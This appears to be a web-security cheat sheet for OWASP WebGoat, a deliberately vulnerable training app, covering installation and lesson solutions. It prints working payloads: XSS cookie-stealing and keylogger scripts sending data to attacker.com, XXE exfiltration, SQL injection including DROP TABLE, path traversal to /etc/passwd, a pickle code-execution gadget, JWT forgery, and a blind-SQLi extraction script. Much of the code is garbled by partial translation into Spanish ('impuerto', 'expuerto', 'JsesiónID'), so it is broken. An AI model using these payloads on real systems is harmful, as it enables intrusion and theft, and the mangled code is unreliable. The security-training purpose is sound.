WebGoat hoja de trucos

📋 Copy All comandos 📄 Generate PDF

Overview

WebGoat is a deliberately insecure aplicación web developed by the Open aplicación web Security Project (OWASP) to teach aplicación web security concepts in an interactive and engaging manner. Unlike traditional security training materials, WebGoat provides a hands-on learning environment where users can practice identifying and exploiting aplicación web vulnerabilities in a safe, controlled setting. The application is designed as a comprehensive educational platform that covers the OWASP Top 10 vulnerabilities and many additional security concepts through interactive lessons and challenges.

The platform distinguishes itself through its lesson-based approach, where each security concept is presented as a structured learning module with clear objectives, background information, and step-by-step guidance. WebGoat includes detailed explanations of vulnerabilidad mechanics, real-world context, and remediation strategies, making it valuable for both beginners learning security fundamentals and experienced professionals seeking to understand specific attack techniques. The application tracks user progress, provides hints when needed, and offers immediate feedback on attempted solutions.

WebGoat's architecture is built on modern web technologies, utilizing Spring Boot for the backend and contemporary frontend frameworks for the user interface. This modern foundation ensures that the vulnerabilities and attack techniques demonstrated are relevant to current aplicación web development practices. The platform includes both guided lessons with specific learning objectives and open-ended challenges that allow users to explore and experiment with different attack vectors.

The educational value of WebGoat extends beyond individual learning to classroom instruction and corporate training programs. The platform suppuertos multiple user accounts, progress tracking, and administrative features that make it suitable for structured training environments. Many cybersecurity education programs, bootcamps, and corporate security awareness initiatives use WebGoat as a core component of their hands-on training curriculum.

instalación

Docker instalación (Recommended)

# Pull WebGoat Docker image
docker pull webgoat/webgoat-8.0

# Run WebGoat container
docker run -d -p 8080:8080 -p 9090:9090 --name webgoat webgoat/webgoat-8.0

# Access WebGoat
# Navigate to http://localhost:8080/WebGoat
# WebWolf (suppuerto application): http://localhost:9090/WebWolf

# Run with persistent data
docker run -d -p 8080:8080 -p 9090:9090 -v webgoat_data:/home/webgoat/.webgoat --name webgoat webgoat/webgoat-8.0

# Stop container
docker stop webgoat

# Remove container
docker rm webgoat

# View logs
docker logs webgoat

Docker Compose instalación

# Create docker-compose.yml
cat << 'EOF' > docker-compose.yml
version: '3.8'

servicios:
  webgoat:
    image: webgoat/webgoat-8.0
    container_name: webgoat
    puertos:
      - "8080: 8080"
      - "9090: 9090"
    volumes:
      - webgoat_data: /home/webgoat/.webgoat
    environment:
      - WEBGOAT_puerto=8080
      - WEBWOLF_puerto=9090
    restart: unless-stopped

volumes:
  webgoat_data:
EOF

# Start WebGoat
docker-compose up -d

# View logs
docker-compose logs -f webgoat

# Stop WebGoat
docker-compose down

# Stop and remove volumes
docker-compose down -v

Standalone JAR instalación

# Download WebGoat JAR
wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webgoat-server-8.2.2.jar

# Install Java (if not already installed)
# Ubuntu/Debian
sudo apt update
sudo apt install openjdk-11-jdk -y

# CentOS/RHEL
sudo yum install java-11-openjdk -y

# macOS
brew install openjdk@11

# Run WebGoat
java -jar webgoat-server-8.2.2.jar

# Run with custom puerto
java -jar webgoat-server-8.2.2.jar --server.puerto=9001

# Run with custom configuración
java -jar webgoat-server-8.2.2.jar --server.address=0.0.0.0 --server.puerto=8080

# Access WebGoat at http://localhost:8080/WebGoat

Source Code instalación

# Install prerequisites
# Java 11+, Maven 3.6+, Git

# Clone repository
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat

# Build WebGoat
mvn clean install

# Run WebGoat
mvn spring-boot:run

# Build standalone JAR
mvn clean package
java -jar webgoat-server/objetivo/webgoat-server-*.jar

# Run WebWolf separately
cd webwolf
mvn spring-boot:run

Kubernetes Deployment

# Create webgoat-deployment.yaml
cat << 'EOF' > webgoat-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: webgoat
  labels:
    app: webgoat
spec:
  replicas: 1
  selector:
    matchLabels:
      app: webgoat
  template:
    metadata:
      labels:
        app: webgoat
    spec:
      containers:
      - name: webgoat
        image: webgoat/webgoat-8.0
        puertos:
        - containerpuerto: 8080
        - containerpuerto: 9090
        env:
        - name: WEBGOAT_puerto
          value: "8080"
        - name: WEBWOLF_puerto
          value: "9090"
---
apiVersion: v1
kind: servicio
metadata:
  name: webgoat-servicio
spec:
  selector:
    app: webgoat
  puertos:
  - name: webgoat
    puerto: 8080
    objetivopuerto: 8080
  - name: webwolf
    puerto: 9090
    objetivopuerto: 9090
  type: LoadBalancer
EOF

# Deploy to Kubernetes
kubectl apply -f webgoat-deployment.yaml

# Check deployment status
kubectl get pods
kubectl get servicios

# Access WebGoat
kubectl puerto-forward servicio/webgoat-servicio 8080: 8080

Initial Setup and configuración

First-Time Setup

# Access WebGoat
# Navigate to http://localhost:8080/WebGoat

# Create user account
# Click "Register new user"
# nombre de usuario: your_nombre de usuario
# contraseña: your_contraseña

# Login to WebGoat
# Use created credenciales

# Access WebWolf (suppuerto application)
# Navigate to http://localhost:9090/WebWolf
# Use same credenciales as WebGoat

User Management

# Default admin account (if enabled)
# nombre de usuario: admin
# contraseña: admin

# Create additional users
# Each user has separate progress tracking
# Suitable for classroom environments

# Reset user progress
# Delete user data directory
# Or use admin interface (if available)

# Backup user progress
# Copy .webgoat directory
# Contains user data and progress

configuración opcións

# Custom server configuración
# Create application.properties
cat << 'EOF' > application.properties
server.puerto=8080
server.address=0.0.0.0
logging.level.org.owasp.webgoat=DEBUG
webgoat.user.directory=/custom/path
EOF

# Run with custom configuración
java -jar webgoat-server-*.jar --spring.config.location=application.properties

# Environment variables
expuerto WEBGOAT_puerto=8080
expuerto WEBWOLF_puerto=9090
expuerto WEBGOAT_SSLENABLED=false

# JVM opcións
java -Xmx1024m -Xms512m -jar webgoat-server-*.jar

Lesson Categories and Modules

General Security Awareness

# HTTP Basics
# - Understanding HTTP protocolo
# - Request/response structure
# - Headers and methods
# - Status codes

# HTTP Proxies
# - Proxy configuración
# - Intercepting requests
# - Modifying traffic
# - Burp Suite integration

# Developer Tools
# - Browser developer tools
# - Network tab analysis
# - Console manipulation
# - Source code inspection

autenticación Flaws

# autenticación Bypasses
# Lesson: Bypass autenticación mechanisms

# Method 1: inyección SQL in login
nombre de usuario: admin' --
contraseña: anything

# Method 2: Logic flaws
# Analyze autenticación logic
# Find bypass conditions

# Method 3: sesión manipulation
# Modify sesión tokens
# Predict sesión values

# contraseña Reset Flaws
# Lesson: exploit contraseña reset functionality

# Method 1: parámetro manipulation
# Change user parámetro in reset request
# Reset other users' contraseñas

# Method 2: token prediction
# Analyze reset token generation
# Predict valid tokens

# Secure contraseñas
# Lesson: contraseña security concepts
# - contraseña complexity
# - Common contraseñas
# - fuerza bruta attacks
# - contraseña storage

Control de Acceso Flaws

# Insecure Direct Object referencias
# Lesson: Access unauthorized resources

# Method 1: parámetro manipulation
# Change user ID in requests
# Access other users' data

# Method 2: Path traversal
# Modify file paths
# Access system files

# Missing Function Level Control de Acceso
# Lesson: Access restricted functions

# Method 1: URL manipulation
# Access admin functions directly
# Bypass menu restrictions

# Method 2: Role manipulation
# Modify role parámetros
# Escalate privileges

cross-site scripting (XSS) (XSS)

# Reflected XSS
# Lesson: Execute JavaScript in victim's browser

# Basic payload
<script>alert('XSS')</script>

# Advanced payloads
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src=javascript:alert('XSS')>

# Bypass filters
<Script>alert('XSS')</Script>
<SCRIPT>alert('XSS')</SCRIPT>
<script>alert(String.fromCharCode(88,83,83))</script>

# Stored XSS
# Lesson: Persistent XSS attacks

# Basic stored payload
<script>alert('Stored XSS')</script>

# Cookie stealing
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

# clavelogger
<script>
document.onclavepress = function(e) \\\\{
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.com/log.php?clave=' + String.fromCharCode(e.which), true);
    xhr.send();
\\\\}
</script>

# DOM-based XSS
# Lesson: Client-side XSS

# URL fragment manipulation
http://localhost:8080/WebGoat/start.mvc#<script>alert('XSS')</script>

# JavaScript injection
javascript:alert('XSS')

Cross-Site Request Forgery (CSRF)

<form action="http://localhost:8080/WebGoat/csrf/basic-get-bandera" method="POST">
    <input type="hidden" name="csrf" value="false">
    <input type="submit" value="Click me!">
</form>

<form id="csrf" action="http://localhost:8080/WebGoat/csrf/review" method="POST">
    <input type="hidden" name="reviewText" value="This is a CSRF attack">
    <input type="hidden" name="stars" value="1">
    <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
</form>
<script>document.getElementById('csrf').submit();</script>

<img src="http://localhost:8080/WebGoat/csrf/basic-get-bandera?csrf=false">

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost:8080/WebGoat/csrf/review', true);
xhr.onreadystatechange = function() \\\\{
    if (xhr.readyState == 4) \\\\{
        var token = xhr.responseText.match(/name="csrf" value="([^"]+)"/)[1];
        // Use extracted token in CSRF attack
    \\\\}
\\\\};
xhr.send();
</script>

inyección SQL

# String inyección SQL
# Lesson: Basic inyección SQL

# autenticación bypass
nombre de usuario: admin' --
contraseña: anything

# Data extraction
' UNION SELECT user, contraseña FROM users --
' UNION SELECT table_name, column_name FROM information_schema.columns --

# Numeric inyección SQL
# Lesson: Injection in numeric parámetros

# Basic injection
1 OR 1=1
1 UNION SELECT user, contraseña FROM users

# Advanced injection
1; DROP TABLE users; --
1; INSERT INTO users VALUES ('hacker', 'contraseña'); --

# Blind inyección SQL
# Lesson: Extract data without direct output

# Boolean-based blind injection
1 AND 1=1  (True condition)
1 AND 1=2  (False condition)

# Extract database name
1 AND LENGTH(database())=8
1 AND SUBSTRING(database(),1,1)='w'

# Time-based blind injection
1; WAITFOR DELAY '00:00:05' --
1 AND IF(1=1, SLEEP(5), 0)

# Advanced inyección SQL
# Lesson: Complex injection scenarios

# Second-order injection
# Inject payload in one location
# Trigger execution in another

# Noinyección SQL
# MongoDB injection ejemplos
\\\\{"nombre de usuario": \\\\{"$ne": null\\\\}, "contraseña": \\\\{"$ne": null\\\\}\\\\}
\\\\{"nombre de usuario": \\\\{"$regex": ".*"\\\\}, "contraseña": \\\\{"$regex": ".*"\\\\}\\\\}

Path Traversal

# Path Traversal Lesson
# Objective: Access files outside web root

# Basic traversal
../../../etc/passwd
..\..\..\..\windows\system32\drivers\etc\hosts

# Encoded traversal
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
..%252f..%252f..%252fetc%252fpasswd

# Double encoding
..%255c..%255c..%255cwindows%255csystem32%255cdrivers%255cetc%255chosts

# Null byte injection (older systems)
../../../etc/passwd%00
../../../etc/passwd%00.jpg

# Filter bypass
....//....//....//etc/passwd
..././..././..././etc/passwd

Insecure Deserialization

# Insecure Deserialization Lesson
# Objective: exploit deserialization vulnerabilities

# Java deserialization
# Create malicious serialized object
# Inject into application

# PHP deserialization
# Object injection payload
O:4:"User":2:\\\\{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";\\\\}

# Python pickle deserialization
# Create malicious pickle payload
impuerto pickle
impuerto os

class exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

payload = pickle.dumps(exploit())

# .NET deserialization
# BinaryFormatter exploitation
# Create malicious .NET object

XML External Entities (XXE)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root></root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
]>
<root></root>

JWT (JSON Web tokens)

# JWT Lesson: JSON Web token vulnerabilities

# JWT structure analysis
# Header.payload.firma
# Base64 decode each part

# algoritmo confusion attack
# Change algoritmo from RS256 to HS256
# Use public clave as HMAC secret

# None algoritmo attack
# Set algoritmo to "none"
# Remove firma

# Weak secret attack
# fuerza bruta JWT secret
# Use common contraseñas

# JWT manipulation
# Modify payload claims
# Change user role/permissions
# Extend token expiration

# ejemplo JWT manipulation
impuerto jwt
impuerto base64

# Decode JWT
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
decoded = jwt.decode(token, verify=False)

# Modify payload
decoded['role'] = 'admin'
decoded['exp'] = 9999999999

# Re-encode with weak secret
new_token = jwt.encode(decoded, 'secret', algoritmo='HS256')

Advanced Challenges

Challenge Solutions

# Admin Lost contraseña Challenge
# Objective: Reset admin contraseña

# Step 1: Analyze contraseña reset mechanism
# Step 2: Find security questions
# Step 3: Research admin information
# Step 4: Answer security questions
# Step 5: Reset contraseña

# Without contraseña Change Challenge
# Objective: Change contraseña without knowing current

# Method 1: sesión manipulation
# Intercept contraseña change request
# Remove current contraseña parámetro

# Method 2: CSRF attack
# Create CSRF form for contraseña change
# Trick admin into submitting

# Admin contraseña Up Challenge
# Objective: Escalate to admin privileges

# Method 1: inyección SQL
# Extract admin contraseña hash
# Crack or replace hash

# Method 2: sesión hijacking
# Steal admin sesión token
# Impersonate admin user

Custom exploit Development

#!/usr/bin/env python3
# WebGoat inyección SQL exploit
impuerto requests
impuerto string
impuerto sys

class WebGoatSQLi:
    def __init__(self, base_url, sesión_cookie):
        self.base_url = base_url
        self.sesión = requests.sesión()
        self.sesión.cookies.set('JsesiónID', sesión_cookie)

    def blind_sqli_extract(self, table, column, condition=""):
        """Extract data using blind inyección SQL"""
        data = ""
        position = 1

        while True:
            found_char = False

            for char in string.printable:
                if char in ['%', '_', '\\']:
                    continue

                # Construct blind inyección SQL payload
                payload = f"1' AND SUBSTRING((SELECT \\\\{column\\\\} FROM \\\\{table\\\\} \\\\{condition\\\\}),\\\\{position\\\\},1)='\\\\{char\\\\}' --"

                response = self.test_injection(payload)

                if self.is_successful_injection(response):
                    data += char
                    found_char = True
                    print(f"Found: \\\\{data\\\\}")
                    break

            if not found_char:
                break

            position += 1

        return data

    def test_injection(self, payload):
        """Test inyección SQL payload"""
        url = f"\\\\{self.base_url\\\\}/SqlInjection/attack5a"
        data = \\\\{
            'account': payload,
            'operator': 'equals',
            'injection': payload
        \\\\}

        return self.sesión.post(url, data=data)

    def is_successful_injection(self, response):
        """Check if injection was successful"""
        return "User found" in response.text

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("uso: python3 webgoat_sqli.py <base_url> <sesión_cookie>")
        sys.exit(1)

    base_url = sys.argv[1]
    sesión_cookie = sys.argv[2]

    exploit = WebGoatSQLi(base_url, sesión_cookie)

    # Extract admin contraseña
    print("Extracting admin contraseña...")
    contraseña = exploit.blind_sqli_extract("users", "contraseña", "WHERE nombre de usuario='admin'")
    print(f"Admin contraseña: \\\\{contraseña\\\\}")

Automated Testing Scripts

#!/bin/bash
# WebGoat automated testing script

WEBGOAT_URL="http://localhost:8080/WebGoat"
sesión_COOKIE=""

# Function to test XSS
test_xss() \\\\{
    echo "[*] Testing XSS vulnerabilities..."

    payloads=(
        "<script>alert('XSS')</script>"
        "<img src=x onerror=alert('XSS')>"
        "<svg onload=alert('XSS')>"
    )

    for payload in "$\\\\{payloads[@]\\\\}"; do
        response=$(curl -s -b "JsesiónID=$sesión_COOKIE" \
            -d "message=$payload" \
            "$WEBGOAT_URL/CrossSiteScripting/attack1")

        if [[ $response == *"$payload"* ]]; then
            echo "[+] XSS successful: $payload"
        else
            echo "[-] XSS failed: $payload"
        fi
    done
\\\\}

# Function to test inyección SQL
test_sqli() \\\\{
    echo "[*] Testing inyección SQL..."

    payloads=(
        "' OR '1'='1"
        "' OR 1=1 --"
        "' UNION SELECT user, contraseña FROM users --"
    )

    for payload in "$\\\\{payloads[@]\\\\}"; do
        response=$(curl -s -b "JsesiónID=$sesión_COOKIE" \
            -d "nombre de usuario=$payload&contrase;ña=test" \
            "$WEBGOAT_URL/SqlInjection/attack1")

        if [[ $response == *"Welcome"* ]]; then
            echo "[+] inyección SQL successful: $payload"
        else
            echo "[-] inyección SQL failed: $payload"
        fi
    done
\\\\}

# Function to test CSRF
test_csrf() \\\\{
    echo "[*] Testing CSRF vulnerabilities..."

    # Create CSRF payload
    csrf_payload="<form action='$WEBGOAT_URL/csrf/basic-get-bandera' method='POST'>
    <input type='hidden' name='csrf' value='false'>
    </form>
    <script>document.forms[0].submit();</script>"

    echo "$csrf_payload" > csrf_test.html
    echo "[+] CSRF payload created: csrf_test.html"
\\\\}

# Main execution
echo "[*] Starting WebGoat automated testing"
echo "[*] objetivo: $WEBGOAT_URL"

test_xss
test_sqli
test_csrf

echo "[*] Testing complete"

Integration with Security Tools

Burp Suite Integration

# Configure Burp Suite for WebGoat testing

# 1. Set up proxy
# Browser proxy: 127.0.0.1:8080
# Burp proxy listener: 127.0.0.1:8080

# 2. Configure scope
# Add WebGoat URL to scope
# Include: http://localhost:8080/WebGoat/*

# 3. Spider WebGoat
# Automatically discover all endpoints
# Map application structure

# 4. Use Burp tools
# Repeater: Manual request testing
# Intruder: Automated payload testing
# Scanner: Automated vulnerabilidad detection

# Burp Suite extensions for WebGoat
# - WebGoat lesson tracker
# - Automated solution checker
# - Custom payload generators

OWASP ZAP Integration

# ZAP automated scanning of WebGoat
zap-baseline.py -t http://localhost:8080/WebGoat/

# ZAP full scan
zap-full-scan.py -t http://localhost:8080/WebGoat/

# ZAP API uso
# Start ZAP demonio
zap.sh -demonio -puerto 8090

# Authenticate to WebGoat
curl "http://localhost:8090/JSON/autenticación/action/setautenticacióncredenciales/" \
    -d "contextId=0&authcredencialesConfigParams;=nombre de usuario%3Dtest%26contraseña%3Dtest"

# Spider WebGoat
curl "http://localhost:8090/JSON/spider/action/scan/?url=http://localhost:8080/WebGoat/"

# Active scan
curl "http://localhost:8090/JSON/ascan/action/scan/?url=http://localhost:8080/WebGoat/"

# Generate repuerto
curl "http://localhost:8090/OTHER/core/other/htmlrepuerto/" > webgoat_repuerto.html

Custom Security Testing Framework

#!/usr/bin/env python3
# WebGoat comprehensive testing framework
impuerto requests
impuerto json
impuerto time
from urllib.parse impuerto urljoin

class WebGoatTester:
    def __init__(self, base_url, nombre de usuario, contraseña):
        self.base_url = base_url
        self.sesión = requests.sesión()
        self.nombre de usuario = nombre de usuario
        self.contraseña = contraseña
        self.authenticated = False

    def authenticate(self):
        """Authenticate to WebGoat"""
        login_url = urljoin(self.base_url, '/login')
        login_data = \\\\{
            'nombre de usuario': self.nombre de usuario,
            'contraseña': self.contraseña
        \\\\}

        response = self.sesión.post(login_url, data=login_data)

        if response.status_code == 200:
            self.authenticated = True
            print("[+] autenticación successful")
            return True
        else:
            print("[-] autenticación failed")
            return False

    def test_lesson(self, lesson_path, test_data):
        """Test specific WebGoat lesson"""
        if not self.authenticated:
            if not self.authenticate():
                return False

        lesson_url = urljoin(self.base_url, lesson_path)

        try:
            response = self.sesión.post(lesson_url, data=test_data)

            # Check for success indicators
            if any(indicator in response.text.lower() for indicator in
                   ['congratulations', 'success', 'correct', 'well done']):
                print(f"[+] Lesson \\\\{lesson_path\\\\} completed successfully")
                return True
            else:
                print(f"[-] Lesson \\\\{lesson_path\\\\} failed")
                return False

        except Exception as e:
            print(f"[!] Error testing lesson \\\\{lesson_path\\\\}: \\\\{e\\\\}")
            return False

    def run_all_tests(self):
        """Run all available tests"""
        test_cases = [
            \\\\{
                'lesson': '/SqlInjection/attack1',
                'data': \\\\{'nombre de usuario': "' OR '1'='1", 'contraseña': 'test'\\\\}
            \\\\},
            \\\\{
                'lesson': '/CrossSiteScripting/attack1',
                'data': \\\\{'message': '<script>alert("XSS")</script>'\\\\}
            \\\\},
            \\\\{
                'lesson': '/CSRF/basic-get-bandera',
                'data': \\\\{'csrf': 'false'\\\\}
            \\\\}
        ]

        results = []

        for test_case in test_cases:
            result = self.test_lesson(test_case['lesson'], test_case['data'])
            results.append(\\\\{
                'lesson': test_case['lesson'],
                'success': result
            \\\\})

        return results

    def generate_repuerto(self, results):
        """Generate test repuerto"""
        repuerto = \\\\{
            'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
            'objetivo': self.base_url,
            'total_tests': len(results),
            'passed': sum(1 for r in results if r['success']),
            'failed': sum(1 for r in results if not r['success']),
            'results': results
        \\\\}

        with open('webgoat_test_repuerto.json', 'w') as f:
            json.dump(repuerto, f, indent=2)

        print(f"\n[*] Test Repuerto Generated")
        print(f"Total Tests: \\\\{repuerto['total_tests']\\\\}")
        print(f"Passed: \\\\{repuerto['passed']\\\\}")
        print(f"Failed: \\\\{repuerto['failed']\\\\}")
        print(f"Success Rate: \\\\{(repuerto['passed']/repuerto['total_tests'])*100:.1f\\\\}%")

if __name__ == "__main__":
    tester = WebGoatTester("http://localhost:8080/WebGoat", "test", "test")
    results = tester.run_all_tests()
    tester.generate_repuerto(results)

Educational Best Practices

Structured Learning Path

# Phase 1: Foundation (Weeks 1-2)
# - HTTP Basics
# - Developer Tools
# - Basic autenticación
# - Simple XSS

# Phase 2: Core Vulnerabilities (Weeks 3-6)
# - inyección SQL (all types)
# - XSS (reflected, stored, DOM)
# - CSRF
# - Control de Acceso

# Phase 3: Advanced Topics (Weeks 7-10)
# - XXE
# - Insecure Deserialization
# - JWT vulnerabilities
# - Path Traversal

# Phase 4: Integration (Weeks 11-12)
# - Tool uso (Burp, ZAP)
# - Automated testing
# - Repuerto writing
# - Real-world application

Progress Tracking

# Create learning journal
mkdir ~/webgoat_learning
cd ~/webgoat_learning

# Track lesson completion
cat << 'EOF' > progress.md
# WebGoat Learning Progress

## Completed Lessons
- [ ] HTTP Basics
- [ ] Developer Tools
- [ ] inyección SQL - String
- [ ] inyección SQL - Numeric
- [ ] inyección SQL - Blind
- [ ] XSS - Reflected
- [ ] XSS - Stored
- [ ] XSS - DOM
- [ ] CSRF
- [ ] Control de Acceso
- [ ] Path Traversal
- [ ] XXE
- [ ] JWT
- [ ] Insecure Deserialization

## Notes
### inyección SQL
- clave learning: Always use parámetroized queries
- Common mistake: Trusting user input

### XSS
- clave learning: Validate and encode all user input
- Common mistake: Only server-side validation
EOF

# Document solutions
cat << 'EOF' > solutions.md
# WebGoat Solutions

## inyección SQL - String
**Objective**: Bypass autenticación
**Solution**: nombre de usuario: `admin' --`, contraseña: `anything`
**Explanation**: Comment out contraseña check

## XSS - Reflected
**Objective**: Execute JavaScript
**Solution**: `<script>alert('XSS')</script>`
**Explanation**: No input validation
EOF

Classroom Integration

# Multi-user setup for classroom
# Each student gets unique account
# Progress tracked separately

# Instructor dashboard
# Monitor student progress
# Identify common issues
# Provide objetivoed help

# Group exercises
# Team-based challenges
# Peer review sesións
# Collaborative problem solving

# Assessment integration
# Automated grading
# Progress repuertos
# Skill verification

---

⚠️ Security Notice: WebGoat is a deliberately vulnerable aplicación web designed for educational purposes only. It should never be deployed on production networks or systems accessible from the internet. Always run WebGoat in isolated, controlled environments such as virtual machines or containers with no network access to production systems. The application contains intentional security vulnerabilities that could compromise system security if exposed. Use WebGoat responsibly for learning aplicación web security concepts and always follow your organization's security policies when conducting security training.

📚 Additional Resources: - WebGoat Official GitHub Repository - OWASP WebGoat Project Page - OWASP Top 10 - Web Security Academy